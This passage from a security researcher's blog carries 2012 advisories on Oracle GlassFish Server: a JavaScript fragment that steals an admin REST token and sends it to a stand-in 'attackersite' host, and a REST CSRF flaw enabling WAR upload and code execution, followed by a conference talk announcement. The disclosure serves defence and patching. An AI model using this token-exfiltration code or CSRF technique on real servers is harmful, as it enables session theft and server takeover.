jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker 
a = document.createElement("IMG"); 
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token); 
document.body.appendChild(a); // time to grab the token 
} 
 
// this exploit works with browsers that have native JSON support 
 
var a = retrieveToken();// perform XHR to retrieve token 
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to 
attackersite 
 
// attacker then needs to set a cookie named gfresttoken with the token value obtained. The 
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -
April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor.
For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html

Oracle GlassFish Server - REST CSRF

Time for some disclosure. Below, details of a CSRF bug discovered in Oracle GlassFish Server 3.1.1 few months ago. Interesting to observe that Oracle rates this as the third most critical bug fixed among the Oracle Sun Products. I guess that's because of the exploit which was included in the original report and which I am releasing as part of this advisory. I found a curios angle to exploit this bug, as arbitrary file upload of a WAR archive can be performed. A quite cool way to exploit a CSRF and own Oracle GlassFish, if you ask me :-). Enjoy.

Details

Vendor Site: Oracle (www.oracle.com)
Date: April, 19th 2012 – CVE 2012-0550
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani


Description

Security-Assessment.com has discovered that the Oracle GlassFish Server REST interface is vulnerable to Cross
Site Request Forgery  (CSRF) attacks. Although the javax.faces.ViewState is employed in the standard web administrative interface and it prevents such attacks, the REST interface remains vulnerable, as shown in the Proof-of-Concept (PoC) below.

Exploitation 

Cross Site Request Forgery attacks can target different functionality within an application. In this case, as an example, it is possible to force an authenticated administrator user into uploading an arbitrary WAR archive, which can be used to gain remote code execution on the server running the Oracle GlassFish Server application.

The Proof-of-Concept (PoC) below has been successfully tested with Firefox 8.0.1 and Chrome 15.0.874.121 with Basic Authentication enabled.

Arbitrary WAR Archive File Upload – CSRF PoC

Oracle GlassFish Server 3.1.1 (build 12) - CSRF arbitrary file upload

by Roberto Suggi Liverani - Security-Assessment.com This is a Proof-of-Concept - the start() function can be invoked automatically. The CSRF upload technique used in this case is a slight variation of the technique demonstrated here: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html Other pieces of code were taken from: http://hublog.hubmed.org/archives/001941.html
Solution Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor. For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html

Monday, 16 April 2012

Presenting at Hack In The Box Amsterdam 2012 - HITB2012AMS

In about six weeks time, I will be in .eu presenting at Hack In The Box Amsterdam 2012. I am very excited about it as that will be my first HITB conference. Also, the speakers line-up and conference agenda are impressive.

This time, I will be presenting with Scott Bell, my colleague at Security-Assessment.com. The presentation will cover the results of our research which focuses on browser bug hunting. Certainly, there is no fun without dropping some 0days... so expect to see some cool bugs if you are attending our talk. If not, you will be able to grab demos, videos and slides following the conference.

Here is the talk abstract:

Window Shopping: Browser Bug Hunting in 2012

Web browsers have become part of everyday life, and are relied upon by millions of internet citizens each day. The feature rich online world has turned the once simple web browser into a highly complex (and very often insecure) desktop application.
As browser vendors have extended functionality and support to new technologies, security researchers and hackers are continuously looking for new vulnerabilities. In this talk, Roberto and Scott will share results of their assiduous browser bug hunting. The talk will examine techniques used to discover critical and less severe vulnerabilities in some of the most popular browsers on the market.

This talk will focus heavily (but not exclusively) on the following areas:

- Memory corruption bugs;
- New approaches to DOM fuzzing;
- Old school techniques against new browser technology;
- Cross Context Scripting and injection attacks;
- SOP Bypass;

The presentation will conclude with a montage of on-stage demonstrations of previously unreleased vulnerabilities, including remote code execution, injections and other tailored browser exploits.



If you are attending the conference, please don't forget to pass by and say 'hi' ;-)